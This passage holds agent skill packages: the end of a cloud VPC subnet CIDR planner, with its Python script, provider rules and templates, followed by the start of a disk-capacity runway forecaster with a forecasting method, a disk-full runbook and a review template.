- `scripts/cidr_plan.py` - sizes and allocates subnets, lists usable host ranges and free blocks, and reports findings (Python 3 standard library only, uses `ipaddress`)
- `references/cidr-math-and-provider-rules.md` - prefix sizes table, alignment, reserved addresses and limits per provider, private ranges
- `references/subnet-layout-playbook.md` - tiered layouts, zone strategy, sizing Kubernetes pod subnets, avoiding overlaps with VPNs and peers, renumbering options
- `templates/subnet-plan.md` - a plan document for review or a pull request
- `examples/shop-platform-vpc.json` - an AWS /18 with legacy subnets, a peered analytics VPC and six new subnets in two zones
## Workflow
### 1. Gather the network facts
Ask for the provider, the VPC / VNet CIDR (or the range they may use), existing subnets, every network it must talk to (peered VPCs, VPNs, on-prem offices, partner links, other clouds), and the subnets they need: purpose, zone, hosts now, and expected growth. For Kubernetes, ask whether pods get VPC addresses (AWS VPC CNI, Azure CNI) because then pod count, not node count, sizes the subnet.
### 2. Run the planner
```
python3 scripts/cidr_plan.py examples/shop-platform-vpc.json
python3 scripts/cidr_plan.py plan.json --json
python3 scripts/cidr_plan.py --self-test
```
Exit code 1 means HIGH findings (overlaps, no space), 2 means bad input (host bits set, IPv6, overlapping VPC ranges).
### 3. Review the result
Fix HIGH findings first: an overlap with a peer or VPN cannot be routed and usually means picking a new VPC range now, while it is cheap. Use `references/subnet-layout-playbook.md` to adjust the layout (equal-sized subnets per zone, a spare block per tier, room for a third zone) and `references/cidr-math-and-provider-rules.md` to explain sizes. Re-run after each change.
### 4. Deliver
Fill `templates/subnet-plan.md` with the table, free blocks, findings and decisions. Offer Terraform or CLI snippets for the final blocks if asked.
## Example result
For `examples/shop-platform-vpc.json` (AWS 10.20.0.0/18): app subnets of 2,500 pods +60% growth get /20s (4,091 usable each) at 10.20.16.0/20 and 10.20.32.0/20; load balancer and data subnets get /25s (123 usable). Findings: HIGH legacy rds-b 10.20.1.128/25 overlaps rds-a 10.20.1.0/24; HIGH the peered analytics VPC 10.20.48.0/20 sits inside this VPC, so routing to it breaks; LOW only 20% of the space is left free.
## Rules
- Never propose a range that overlaps a known peer, VPN or on-prem network; ask for the full list if unsure.
- Plan for growth and a future zone; resizing a subnet in place is usually impossible.
- Keep IPv4 math exact; show usable counts after the provider's reserved addresses.
- Do not change live networks yourself; give a plan and the order of changes for the user to apply.
FILE:references/cidr-math-and-provider-rules.md
# CIDR Math and Provider Rules
## Prefix sizes (IPv4)
| Prefix | Addresses | AWS / Azure usable (-5) | GCP usable (-4) | Classic usable (-2) |
|---|---|---|---|---|
| /16 | 65,536 | 65,531 | 65,532 | 65,534 |
| /18 | 16,384 | 16,379 | 16,380 | 16,382 |
| /19 | 8,192 | 8,187 | 8,188 | 8,190 |
| /20 | 4,096 | 4,091 | 4,092 | 4,094 |
| /21 | 2,048 | 2,043 | 2,044 | 2,046 |
| /22 | 1,024 | 1,019 | 1,020 | 1,022 |
| /23 | 512 | 507 | 508 | 510 |
| /24 | 256 | 251 | 252 | 254 |
| /25 | 128 | 123 | 124 | 126 |
| /26 | 64 | 59 | 60 | 62 |
| /27 | 32 | 27 | 28 | 30 |
| /28 | 16 | 11 | 12 | 14 |
Each step of one in the prefix halves or doubles the block. Addresses = 2^(32 - prefix).
## Alignment
A block must start on a multiple of its own size: a /20 starts at x.x.0.0, x.x.16.0, x.x.32.0, ...; 10.20.8.0/20 is invalid (host bits set). Allocating largest blocks first keeps the space unfragmented; small subnets placed first can block every aligned slot for a big one.
## Reserved addresses per subnet
- **AWS:** first four (network, VPC router, DNS, reserved) and the last (broadcast) -> 5. VPC CIDR /16 to /28, subnets /16 to /28. Up to 5 CIDR blocks per VPC by default (secondary CIDRs can add space later).
- **Azure:** first four (network, gateway, 2 x DNS) and the last -> 5. Subnets up to /29. Some services need dedicated subnets (GatewaySubnet /27 or larger, AzureFirewallSubnet /26, AzureBastionSubnet /26).
- **GCP:** network, gateway, second-to-last and broadcast -> 4. Subnets are regional (not zonal), /29 smallest; secondary ranges for GKE pods and services.
- **Classic / on-prem:** network and broadcast -> 2 (/31 point-to-point links are a special case).
## Private and special ranges
- RFC 1918: 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16.
- Carrier-grade NAT shared space 100.64.0.0/10 (RFC 6598): usable inside clouds, but check the ISP / VPN does not use it.
- Avoid: 172.17.0.0/16 (default docker0 bridge), 169.254.0.0/16 (link-local, cloud metadata), 192.168.0.0/24 and 192.168.1.0/24 (home routers, so VPN users clash), 10.0.0.0/16 (default VPC in many tools, so peers often clash).
- Public ranges inside a VPC make those internet addresses unreachable from it.
## Quick formulas
- Smallest prefix for N usable hosts with R reserved: 32 - ceil(log2(N + R)).
- Hosts with growth: ceil(hosts x (1 + growth)).
- Free space after a plan = VPC addresses - (existing + new + blocked peer ranges inside the VPC).
FILE:references/subnet-layout-playbook.md
# Subnet Layout Playbook
## Tiered layout per zone
| Tier | Holds | Typical size | Route |
|---|---|---|---|
| Public | load balancers, NAT gateways, bastion | /24 to /26 | internet gateway |
| Private app | VMs, containers, Kubernetes nodes and pods | largest, /20 to /22 | NAT gateway |
| Data | databases, caches, queues | /24 to /26 | no internet route |
| Spare | future tier or a third zone | keep one aligned block | - |
Use the same size per tier in every zone so a failover zone can carry the full load.
## Zone strategy
- At least two zones for anything production; three if the region and budget allow.
- Reserve the third zone's blocks now even if unused; it keeps the layout symmetrical.
- GCP subnets are regional, so plan per region instead of per zone.
## Sizing Kubernetes
- With AWS VPC CNI or Azure CNI every pod takes a VPC address: size app subnets by peak pods (nodes x max pods per node), plus surge during rolling updates (often +25%) and node replacement.
- Prefix delegation (AWS) or overlay networking (Calico, Cilium, kubenet, Azure CNI Overlay) moves pods to a separate range; then size by nodes and keep the pod CIDR clear of every peer.
- Keep the service CIDR (for example 172.20.0.0/16) clear of the VPC and peers too.
## Avoiding overlaps
- Collect every network you will ever route to: other VPCs and accounts, VPN clients, offices, partners, other clouds, and ranges used by acquired companies.
- Keep a central IP plan (spreadsheet or IPAM) and give each environment its own block, for example 10.20.0.0/16 prod, 10.21.0.0/16 staging, 10.22.0.0/16 dev.
- Do not pick 10.0.0.0/16, 172.17.0.0/16 or 192.168.0.0/24 to 192.168.1.0/24 for anything that VPN users reach.
## When something already overlaps
1. Prefer renumbering the smaller or newer side now (new VPC or a secondary CIDR, migrate, delete old).
2. If renumbering is impossible, use NAT (private NAT gateway, NAT on the VPN device) and route only translated ranges.
3. Overlapping subnets inside one VPC cannot be created on AWS / Azure / GCP; in documents they are usually typos, so verify the real values.
## Review checklist
- [ ] VPC range private and unique across all peers and VPNs
- [ ] every subnet aligned, inside the VPC and non-overlapping
- [ ] sizes include reserved addresses and growth
- [ ] same tier sizes in each zone; spare block kept
- [ ] at least 25% of the VPC left free
FILE:templates/subnet-plan.md
# Subnet Plan - <network name>
**Provider / region:** <aws eu-west-1> **VPC CIDR:** <10.x.0.0/16> **Owner:** <team> **Date:** <date>
**Peers / VPNs checked:** <list of ranges>
## Subnets
| Subnet | Tier | Zone | Hosts now | Growth | CIDR | Usable | Route table |
|---|---|---|---|---|---|---|---|
| | | | | | | | |
## Existing subnets kept
| Name | CIDR | Notes |
|---|---|---|
| | | |
## Free space
- Used or blocked: <n> of <total> (<x>% free)
- Spare blocks reserved for: <third zone / future tier>
## Findings and decisions
| Severity | Finding | Decision |
|---|---|---|
| | | |
## Rollout order
1. <create secondary CIDR / new VPC>
2. <create subnets and route tables>
3. <migrate workloads, remove old subnets>
FILE:examples/shop-platform-vpc.json
{
"name": "shop platform, eu-west-1 production VPC",
"provider": "aws",
"vpc_cidrs": ["10.20.0.0/18"],
"existing": [
{"name": "legacy bastion", "cidr": "10.20.0.0/26"},
{"name": "legacy rds-a", "cidr": "10.20.1.0/24"},
{"name": "legacy rds-b", "cidr": "10.20.1.128/25"}
],
"peers": [
{"name": "office VPN (Istanbul)", "cidr": "192.168.10.0/24"},
{"name": "analytics VPC (peered)", "cidr": "10.20.48.0/20"}
],
"requests": [
{"name": "public-a (load balancers)", "hosts": 40, "zone": "eu-west-1a", "growth": 0.5},
{"name": "public-b (load balancers)", "hosts": 40, "zone": "eu-west-1b", "growth": 0.5},
{"name": "app-a (EKS pods)", "hosts": 2500, "zone": "eu-west-1a", "growth": 0.6},
{"name": "app-b (EKS pods)", "hosts": 2500, "zone": "eu-west-1b", "growth": 0.6},
{"name": "data-a (databases, cache)", "hosts": 60, "zone": "eu-west-1a"},
{"name": "data-b (databases, cache)", "hosts": 60, "zone": "eu-west-1b"}
]
}
FILE:scripts/cidr_plan.py
#!/usr/bin/env python3
"""VPC subnet CIDR planner and checker (Python 3 standard library only).
Input: a network plan JSON file:
{"name": "prod-eu", "provider": "aws", "vpc_cidrs": ["10.40.0.0/16"],
"existing": [{"name": "legacy-db", "cidr": "10.40.8.0/24"}],
"peers": [{"name": "office vpn", "cidr": "192.168.0.0/22"}],
"requests": [{"name": "app-a", "hosts": 900, "zone": "eu-west-1a", "growth": 0.5}]}
provider: aws | azure | gcp | generic. Reserved addresses per subnet: aws 5, azure 5,
gcp 4, generic 2 (network + broadcast). Subnet size limits: aws /16../28,
azure /8../29, gcp /8../29, generic /8../30.
requests: hosts needed now; growth = extra fraction to reserve (default 0.3);
optional "prefix" forces a size. Allocation is largest-first, aligned, lowest free address,
never overlapping existing subnets or peer networks that sit inside the VPC.
Checks (severity):
HIGH OVERLAP_EXISTING two existing subnets overlap
HIGH OUTSIDE_VPC existing subnet not inside any VPC CIDR
HIGH PEER_OVERLAP VPC CIDR overlaps a peered / VPN / on-prem network (routing breaks)
HIGH NO_SPACE a request does not fit in the remaining space
MEDIUM DOCKER_DEFAULT VPC overlaps 172.17.0.0/16 (default docker0 bridge)
MEDIUM PUBLIC_RANGE VPC CIDR is not private (RFC 1918 / 100.64.0.0/10)
MEDIUM PREFIX_LIMIT requested or VPC prefix outside the provider limits
LOW LOW_HEADROOM less than 25% of the VPC left free after the plan
LOW SINGLE_ZONE all requests in one zone (no zone redundancy)
Usage:
python3 cidr_plan.py plan.json
python3 cidr_plan.py plan.json --json
python3 cidr_plan.py --self-test
Exit code: 0 no HIGH findings, 1 HIGH findings, 2 bad input.
"""
import argparse
import ipaddress as ip
import json
import math
import sys
RESERVED = {"aws": 5, "azure": 5, "gcp": 4, "generic": 2}
HEAD_RESERVED = {"aws": 4, "azure": 4, "gcp": 2, "generic": 1} # rest are at the end of the block
LIMITS = {"aws": (16, 28), "azure": (8, 29), "gcp": (8, 29), "generic": (8, 30)}
PRIVATE = [ip.ip_network(c) for c in ("10.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16", "100.64.0.0/10")]
DOCKER = ip.ip_network("172.17.0.0/16")
class PlanError(ValueError):
pass
def net(cidr, what="cidr"):
try:
n = ip.ip_network(str(cidr).strip(), strict=True)
except ValueError as e:
raise PlanError(f"bad {what} {cidr!r}: {e}")
if n.version != 4:
raise PlanError(f"only IPv4 is supported: {cidr!r}")
return n
def usable(prefix, provider):
return max(0, 2 ** (32 - prefix) - RESERVED[provider])
def prefix_for(hosts, provider, growth):
need = math.ceil(hosts * (1 + growth))
lo, hi = LIMITS[provider]
for p in range(hi, lo - 1, -1):
if usable(p, provider) >= need:
return p
return None
def find_slot(vpcs, taken, prefix):
for v in vpcs:
if prefix < v.prefixlen:
continue
for cand in v.subnets(new_prefix=prefix):
if not any(cand.overlaps(t) for t in taken):
return cand
return None
def plan(cfg):
provider = str(cfg.get("provider", "generic")).lower()
if provider not in RESERVED:
raise PlanError(f"unknown provider {provider!r} (aws, azure, gcp, generic)")
vpcs = [net(c, "vpc_cidr") for c in cfg.get("vpc_cidrs") or []]
if not vpcs:
raise PlanError("vpc_cidrs is empty")
lo, hi = LIMITS[provider]
findings = []
def f(sev, code, where, msg):
findings.append({"severity": sev, "code": code, "where": where, "message": msg})
for v in vpcs:
if not any(v.subnet_of(p) for p in PRIVATE):
f("MEDIUM", "PUBLIC_RANGE", str(v), "not an RFC 1918 or 100.64.0.0/10 range; it may clash with real internet addresses")
if v.overlaps(DOCKER):
f("MEDIUM", "DOCKER_DEFAULT", str(v), "overlaps 172.17.0.0/16, the default docker0 bridge; containers on hosts in this VPC may lose routes")
if provider == "aws" and not (16 <= v.prefixlen <= 28):
f("MEDIUM", "PREFIX_LIMIT", str(v), "AWS VPC CIDR blocks must be /16 to /28")
for i, a in enumerate(vpcs):
for b in vpcs[i + 1:]:
if a.overlaps(b):
raise PlanError(f"vpc_cidrs overlap each other: {a} and {b}")
existing = []
for e in cfg.get("existing") or []:
n = net(e.get("cidr"), "existing cidr")
name = e.get("name") or str(n)
if not any(n.subnet_of(v) for v in vpcs):
f("HIGH", "OUTSIDE_VPC", name, f"{n} is not inside {', '.join(map(str, vpcs))}")
for other_name, o in existing:
if n.overlaps(o):
f("HIGH", "OVERLAP_EXISTING", name, f"{n} overlaps {other_name} {o}")
existing.append((name, n))
taken = [n for _, n in existing]
for p in cfg.get("peers") or []:
n = net(p.get("cidr"), "peer cidr")
name = p.get("name") or str(n)
for v in vpcs:
if v.overlaps(n):
f("HIGH", "PEER_OVERLAP", name, f"{n} overlaps VPC {v}; traffic to the overlapping range cannot be routed both ways (renumber one side or use NAT)")
taken.append(n)
reqs = []
for r in cfg.get("requests") or []:
name = r.get("name") or "subnet"
hosts = r.get("hosts", 0)
if not isinstance(hosts, int) or isinstance(hosts, bool) or hosts < 1:
raise PlanError(f"request {name!r}: hosts must be a positive integer")
growth = r.get("growth", 0.3)
if not isinstance(growth, (int, float)) or growth < 0:
raise PlanError(f"request {name!r}: growth must be >= 0")
if "prefix" in r:
pfx = r["prefix"]
if not isinstance(pfx, int) or not 8 <= pfx <= 30:
raise PlanError(f"request {name!r}: prefix must be an integer 8..30")
if not lo <= pfx <= hi:
f("MEDIUM", "PREFIX_LIMIT", name, f"/{pfx} is outside {provider} subnet limits /{lo}../{hi}")
else:
pfx = prefix_for(hosts, provider, growth)
reqs.append({"name": name, "hosts": hosts, "growth": growth, "zone": r.get("zone", ""), "prefix": pfx})
allocs = []
order = sorted(range(len(reqs)), key=lambda i: (reqs[i]["prefix"] if reqs[i]["prefix"] is not None else -1, i))
for i in order:
r = reqs[i]
slot = find_slot(vpcs, taken, r["prefix"]) if r["prefix"] is not None else None
if slot is None:
f("HIGH", "NO_SPACE", r["name"], f"needs {r['hosts']} hosts (+{round(r['growth'] * 100)}% growth) and no free aligned block is left")
allocs.append(dict(r, cidr=None, usable=0))
continue
taken.append(slot)
u = usable(slot.prefixlen, provider)
tail = RESERVED[provider] - HEAD_RESERVED[provider]
allocs.append(dict(r, cidr=str(slot), usable=u,
first=str(slot[HEAD_RESERVED[provider]]) if u else "-",
last=str(slot[-1 - tail]) if u else "-"))
if u < r["hosts"]:
f("HIGH", "NO_SPACE", r["name"], f"/{slot.prefixlen} gives only {u} usable addresses for {r['hosts']} hosts")
allocs.sort(key=lambda a: (a["cidr"] is None, ip.ip_network(a["cidr"]) if a["cidr"] else 0))
total = sum(v.num_addresses for v in vpcs)
used = 0
inside = [t for t in taken if any(t.subnet_of(v) for v in vpcs)]
for t in ip.collapse_addresses(inside):
used += t.num_addresses
free = total - used
free_blocks = []
for v in vpcs:
rest = [v]
for t in ip.collapse_addresses([x for x in inside if x.subnet_of(v)]):
nxt = []
for b in rest:
if t.subnet_of(b):
nxt.extend(b.address_exclude(t))
elif not b.subnet_of(t):
nxt.append(b)
rest = nxt
free_blocks.extend(sorted(rest))
if total and free / total < 0.25:
f("LOW", "LOW_HEADROOM", "plan", f"only {free / total:.0%} of the VPC address space is left free")
zones = {r["zone"] for r in reqs if r["zone"]}
if len(reqs) > 1 and len(zones) == 1:
f("LOW", "SINGLE_ZONE", "plan", f"all requests are in {zones.pop()}; spread subnets over at least two zones")
rank = {"HIGH": 0, "MEDIUM": 1, "LOW": 2}
findings.sort(key=lambda x: rank[x["severity"]])
return {"name": cfg.get("name", "network plan"), "provider": provider, "vpcs": [str(v) for v in vpcs],
"existing": [{"name": n, "cidr": str(c)} for n, c in existing],
"allocations": allocs, "total": total, "used": used, "free": free,
"free_blocks": [str(b) for b in free_blocks], "findings": findings}
def report(res):
out = [f"# Subnet plan: {res['name']}", "",
f"Provider: {res['provider']} (reserves {RESERVED[res['provider']]} addresses per subnet) VPC: {', '.join(res['vpcs'])}", "",
"| Subnet | Zone | Hosts now | Growth | CIDR | Usable | First host | Last host |", "|---|---|---|---|---|---|---|---|"]
for a in res["allocations"]:
out.append(f"| {a['name']} | {a['zone'] or '-'} | {a['hosts']} | {round(a['growth'] * 100)}% | {a['cidr'] or 'NOT PLACED'} | "
f"{a['usable']} | {a.get('first', '-')} | {a.get('last', '-')} |")
if res["existing"]:
out += ["", "Existing subnets kept: " + ", ".join(f"{e['name']} {e['cidr']}" for e in res["existing"])]
pct = res["free"] / res["total"] if res["total"] else 0
out += ["", f"Address space: {res['used']} of {res['total']} used or blocked, {res['free']} free ({pct:.0%})",
"Largest free blocks: " + (", ".join(sorted(res["free_blocks"], key=lambda c: ip.ip_network(c).prefixlen)[:6]) or "none"),
"", "## Findings"]
if not res["findings"]:
out.append("- none")
for x in res["findings"]:
out.append(f"- **{x['severity']} {x['code']}** ({x['where']}): {x['message']}")
return "\n".join(out) + "\n"
def self_test():
cases = []
def ok(name, cond):
cases.append(bool(cond))
print(("PASS " if cond else "FAIL ") + name)
ok("aws /24 usable 251", usable(24, "aws") == 251)
ok("generic /24 usable 254", usable(24, "generic") == 254)
ok("gcp /29 usable 4", usable(29, "gcp") == 4)
ok("900 hosts +50% on aws -> /21", prefix_for(900, "aws", 0.5) == 21)
ok("250 hosts no growth aws -> /24", prefix_for(250, "aws", 0) == 24)
ok("252 hosts no growth aws -> /23", prefix_for(252, "aws", 0) == 23)
ok("too big for aws -> None", prefix_for(70000, "aws", 0) is None)
base = {"provider": "aws", "vpc_cidrs": ["10.0.0.0/16"]}
r = plan(dict(base, requests=[{"name": "a", "hosts": 200, "zone": "z1"}, {"name": "b", "hosts": 1000, "zone": "z2"}]))
cid = {a["name"]: a["cidr"] for a in r["allocations"]}
ok("largest first gets lowest block", cid == {"b": "10.0.0.0/21", "a": "10.0.8.0/23"})
ok("clean plan has no findings", r["findings"] == [])
aa = [a for a in r["allocations"] if a["name"] == "a"][0]
ok("first/last host skip aws reserved", (aa["first"], aa["last"]) == ("10.0.8.4", "10.0.9.254"))
g = plan({"provider": "gcp", "vpc_cidrs": ["10.0.0.0/16"], "requests": [{"name": "a", "hosts": 100, "growth": 0}]})["allocations"][0]
ok("gcp reserves 2 head + 2 tail", (g["cidr"], g["first"], g["last"]) == ("10.0.0.0/25", "10.0.0.2", "10.0.0.125"))
r = plan(dict(base, existing=[{"name": "old", "cidr": "10.0.0.0/22"}], requests=[{"name": "a", "hosts": 1000}]))
ok("allocation avoids existing", r["allocations"][0]["cidr"] == "10.0.8.0/21")
r = plan(dict(base, existing=[{"name": "x", "cidr": "10.0.0.0/24"}, {"name": "y", "cidr": "10.0.0.128/25"}]))
ok("overlap existing flagged", any(x["code"] == "OVERLAP_EXISTING" for x in r["findings"]))
r = plan(dict(base, existing=[{"name": "x", "cidr": "10.1.0.0/24"}]))
ok("outside vpc flagged", any(x["code"] == "OUTSIDE_VPC" for x in r["findings"]))
r = plan(dict(base, peers=[{"name": "vpn", "cidr": "10.0.4.0/22"}], requests=[{"name": "a", "hosts": 900, "growth": 0}]))
ok("peer overlap flagged", any(x["code"] == "PEER_OVERLAP" for x in r["findings"]))
ok("allocation avoids peer range", r["allocations"][0]["cidr"] == "10.0.0.0/22")
r = plan({"provider": "aws", "vpc_cidrs": ["10.0.0.0/24"], "requests": [{"name": "a", "hosts": 200}]})
ok("no space flagged", any(x["code"] == "NO_SPACE" for x in r["findings"]))
r = plan({"provider": "generic", "vpc_cidrs": ["172.16.0.0/12"]})
ok("docker default flagged", any(x["code"] == "DOCKER_DEFAULT" for x in r["findings"]))
r = plan({"provider": "generic", "vpc_cidrs": ["8.8.0.0/16"]})
ok("public range flagged", any(x["code"] == "PUBLIC_RANGE" for x in r["findings"]))
r = plan({"provider": "aws", "vpc_cidrs": ["10.0.0.0/8"]})
ok("aws vpc /8 flagged", any(x["code"] == "PREFIX_LIMIT" for x in r["findings"]))
r = plan({"provider": "aws", "vpc_cidrs": ["10.0.0.0/22"], "requests": [{"name": "a", "hosts": 400, "zone": "z1"}, {"name": "b", "hosts": 300, "zone": "z1"}]})
ok("low headroom flagged", any(x["code"] == "LOW_HEADROOM" for x in r["findings"]))
ok("single zone flagged", any(x["code"] == "SINGLE_ZONE" for x in r["findings"]))
r = plan(dict(base, requests=[{"name": "a", "hosts": 10, "prefix": 30}]))
ok("forced /30 on aws flagged", any(x["code"] == "PREFIX_LIMIT" for x in r["findings"]))
r = plan(dict(base, requests=[{"name": "a", "hosts": 1000}]))
ok("free blocks cover rest", sum(ip.ip_network(b).num_addresses for b in r["free_blocks"]) == 65536 - 2048)
for bad, label in ((dict(base, vpc_cidrs=[]), "empty vpc"), (dict(base, vpc_cidrs=["10.0.0.1/16"]), "host bits set"),
(dict(base, provider="oracle"), "unknown provider"), (dict(base, requests=[{"hosts": 0}]), "zero hosts"),
(dict(base, vpc_cidrs=["10.0.0.0/16", "10.0.128.0/17"]), "overlapping vpcs"),
(dict(base, vpc_cidrs=["fd00::/48"]), "ipv6")):
try:
plan(bad)
ok(label + " rejected", False)
except PlanError:
ok(label + " rejected", True)
print(f"{sum(cases)}/{len(cases)} passed")
return 0 if all(cases) else 1
def main(argv=None):
ap = argparse.ArgumentParser(description="Plan and check VPC subnet CIDR blocks.")
ap.add_argument("file", nargs="?", help="network plan JSON")
ap.add_argument("--json", action="store_true", help="print machine-readable JSON")
ap.add_argument("--self-test", action="store_true")
a = ap.parse_args(argv)
if a.self_test:
return self_test()
if not a.file:
ap.error("give a plan JSON file or --self-test")
try:
cfg = json.load(open(a.file, encoding="utf-8"))
res = plan(cfg)
except (OSError, json.JSONDecodeError, PlanError) as e:
print(f"error: {e}", file=sys.stderr)
return 2
print(json.dumps(res, indent=2) if a.json else report(res), end="" if not a.json else "\n")
return 1 if any(x["severity"] == "HIGH" for x in res["findings"]) else 0
if __name__ == "__main__":
sys.exit(main())根据用量样本预测卷何时写满。
---
name: disk-capacity-runway-forecaster
description: 根据用量样本预测卷何时写满。
---
# 磁盘容量跑道预测器
你是「磁盘容量跑道预测器」技能助手。上方 description 为中文任务说明。下方保留原技能完整正文（含脚本与代码）；执行时遵循中文说明与原文技术细节。
# Disk Capacity Runway Forecaster
You help on-call engineers and sysadmins answer "when will this disk fill up, and what should we do before then?" From usage samples exported from monitoring (Prometheus, CloudWatch, Datadog, Zabbix, a cron job running `df`), you compute the runway for each volume, rank volumes by urgency, explain why a forecast can be wrong, and propose concrete fixes: clean up, rotate, resize or move data.
## Files in this skill
- `scripts/disk_runway.py` - reads a CSV of samples, fits growth rates, and prints a ranked runway table with findings and suggested sizes (Python 3 standard library only)
- `references/forecasting-method.md` - how the trend, recent rate, one-off jumps, runway and suggested size are computed, and the limits of a linear forecast
- `references/disk-full-runbook.md` - finding what grows, safe cleanups, log and backup retention, resizing on Linux and in the cloud, alert thresholds
- `templates/capacity-review.md` - a capacity review to share with the team or attach to a ticket
- `examples/fleet-disk-usage.csv` - three weeks of daily samples for four volumes: a steady database, a log volume with rotation, a CI runner speeding up and a backup NAS with a one-off jump
## Workflow
### 1. Collect samples
Ask for at least a week (better 3-4 weeks) of samples per volume: timestamp, volume (host:mount), used GB and size GB. Example sources: Prometheus `node_filesystem_size_bytes - node_filesystem_avail_bytes`, CloudWatch `disk_used_percent` with the volume size, or `df -BG --output=target,used,size` from cron. Also ask what lives on each volume and about known events (migrations, new backups, releases).
### 2. Run the forecaster
```
python3 scripts/disk_runway.py examples/fleet-disk-usage.csv
python3 scripts/disk_runway.py usage.csv --horizon 180 --json
python3 scripts/disk_runway.py --self-test
```
Exit code 1 means a CRITICAL or HIGH volume, 2 means bad input.
### 3. Explain and act
Start with CRITICAL and HIGH volumes. For each, say what is growing and how fast, the date it hits 90% and 100%, and the fastest safe action from `references/disk-full-runbook.md`. Treat NOISY_TREND and FEW_SAMPLES results as rough. For SUDDEN_JUMP, confirm the cause (a new backup set, a database dump, a log burst) before planning around it. Use `references/forecasting-method.md` to explain why the recent rate may win over the long-term trend.
### 4. Deliver
Fill `templates/capacity-review.md` with the table, actions, owners and dates, and suggest alert thresholds (for example a warning at 80% or 14 days of runway, a page at 90% or 3 days).
## Example result
For `examples/fleet-disk-usage.csv` (last samples 2026-10-21 06:00): ci-runner01:/ is HIGH, already at 80% and growing 5.6 GB/day in the last week vs 2.1 overall, 90% in 3.6 days and full by 2026-10-28; db01:/var/lib/postgresql grows a steady 3 GB/day and reaches 80% in 13.3 days (MEDIUM, suggested 790 GB); backup-nas had a one-off +405.6 GB jump on 2026-10-16 that is not extrapolated, leaving 120 days to 80%; web01:/var/log is OK but noisy (log rotation).
## Rules
- Never suggest deleting data without saying exactly what, how to check it is safe, and how to recover; prefer rotation, compression, retention policies and resizing.
- Say which rate a date is based on and that linear forecasts miss sudden events.
- Times in the report follow the timestamps in the data; say which time zone they are in.
- Do not run cleanup or resize commands on live systems yourself; give the commands for the user to review.
FILE:references/forecasting-method.md
# Forecasting Method
## Inputs
One row per sample: `timestamp,volume,used_gb,size_gb`. Rows may be unsorted and mixed across volumes. The latest `size_gb` is used, so a resize during the window is handled.
## Growth rates
- **Overall rate:** least-squares slope of used GB over time (GB/day) across all samples. R^2 (0 to 1) says how well a straight line fits: about 1.0 for steady growth, under 0.5 for sawtooth patterns such as log rotation or temp files.
- **Recent rate:** the same slope over the last 7 days (or the last third of the data when there are less than 14 days). It catches growth that has just sped up.
- **Runway rate:** the worse (higher) of the two. When the recent rate is more than 1.5 times the overall rate, the volume is flagged ACCELERATING.
## One-off jumps
A step between two samples larger than 5% of the volume size is treated as a one-off event (a new backup set, a restored dump, a large upload). It stays in the current usage but is removed from the trend: later points are shifted down by the jump minus a typical step, so a single event is not extrapolated forever. The jump is reported as SUDDEN_JUMP so a person can confirm it really was one-off. If it repeats (a weekly full backup), keep longer data so the pattern becomes part of the trend, or plan the next jump explicitly.
## Runway
For each threshold T in 80, 90, 95 and 100%:
`days = (T x size - used now) / runway rate`, counted from the last sample. Zero means the threshold is already passed; "never" means usage is flat or falling.
Dates are the last sample time plus the days, in the same time zone as the data.
## Suggested size
The smallest multiple of 10 GB that keeps usage under 80% for the horizon (default 90 days):
`size >= (used now + runway rate x horizon) / 0.8`, and never smaller than the current size.
Example: 128 GB used, 2 GB/day, 180 days -> (128 + 360) / 0.8 = 610 GB.
## Status levels
| Status | Rule |
|---|---|
| CRITICAL | 95% or more used, or full within 7 days |
| HIGH | 90% within 14 days |
| MEDIUM | 80% within 30 days, or accelerating, or a sudden jump |
| OK | none of the above |
## Limits
- A straight line cannot see future events: a migration, a new customer, a log level left on DEBUG.
- Filesystems often misbehave before 100%: ext4 reserves about 5% for root, databases need free space for vacuum, compaction or index builds, and some write paths fail at 90-95%.
- Inode exhaustion (`df -i`) can fill a disk with plenty of free GB; forecast inodes the same way if many small files are written.
- Thin-provisioned and shared storage (LVM thin pools, SAN, Ceph) can fill underneath a volume that looks fine.
FILE:references/disk-full-runbook.md
# Disk Full Runbook
## 1. Find what grows
```
df -h /mount; df -i /mount # space and inodes
sudo du -xh --max-depth=2 /mount | sort -h | tail -20
sudo find /mount -xdev -type f -size +1G -mtime -7 -exec ls -lh {} +
sudo lsof +L1 # deleted files still held open
journalctl --disk-usage
docker system df # images, containers, volumes, build cache
```
Deleted-but-open files keep their space until the process restarts or reopens the log.
## 2. Safe quick wins (check before deleting)
| Source | Action |
|---|---|
| Application logs | logrotate with `compress`, `maxsize`, `rotate N`; ship logs to central storage |
| systemd journal | `journalctl --vacuum-size=1G`, set `SystemMaxUse=` |
| Docker / CI runners | `docker image prune -a --filter until=168h`, `docker builder prune`; clear runner work dirs |
| Package caches | `apt-get clean`, `dnf clean all`, old kernels |
| Database | archive or drop old partitions, `VACUUM` / table repack, check WAL or binlog retention and stuck replication slots |
| Backups | apply the retention policy; move old sets to object storage or cold tier |
| Core dumps, heap dumps, tmp | remove after the incident owner confirms |
Never `rm` a file a database is using; never clear WAL or binlogs by hand.
## 3. Resize
- **AWS EBS:** modify the volume size, wait for the optimizing state, then `sudo growpart /dev/nvme0n1 1` and `sudo resize2fs /dev/nvme0n1p1` (ext4) or `sudo xfs_growfs /mount` (xfs). One size increase per 6 hours per volume.
- **Azure managed disk / GCP persistent disk:** increase the size (Azure may need the VM deallocated for some disks), then grow the partition and filesystem the same way.
- **LVM:** `lvextend -r -L +100G vg/lv` grows the filesystem too.
- **Kubernetes PVC:** edit `spec.resources.requests.storage` when the StorageClass has `allowVolumeExpansion: true`.
Volumes can grow but rarely shrink, so size to the forecast, not far beyond it.
## 4. Alerts that give time to act
- Warn at 80% used or 14 days of runway; page at 90% or 3 days of runway (Prometheus: `predict_linear(node_filesystem_avail_bytes[6h], 4*3600) < 0` style rules).
- Alert on inode use above 85%.
- Review capacity monthly with this skill's report; add growth from planned launches by hand.
FILE:templates/capacity-review.md
# Capacity Review - <service / fleet> - <date>
**Data:** <source>, <first sample> to <last sample> (<time zone>) **Horizon:** <90> days **Reviewer:** <name>
## Runway
| Volume | Status | Used | Size | Growth GB/day (overall / recent) | 90% on | Full on | Suggested size |
|---|---|---|---|---|---|---|---|
| | | | | | | | |
## What is growing
| Volume | Main consumer | Evidence | One-off or ongoing |
|---|---|---|---|
| | | | |
## Actions
| Volume | Action | Owner | Due | Gain |
|---|---|---|---|---|
| | | | | |
## Alerts
- Warning: <80% or 14 days runway> - Page: <90% or 3 days runway> - Inodes: <85%>
## Next review
<date>; re-run the forecaster with fresh samples
FILE:examples/fleet-disk-usage.csv
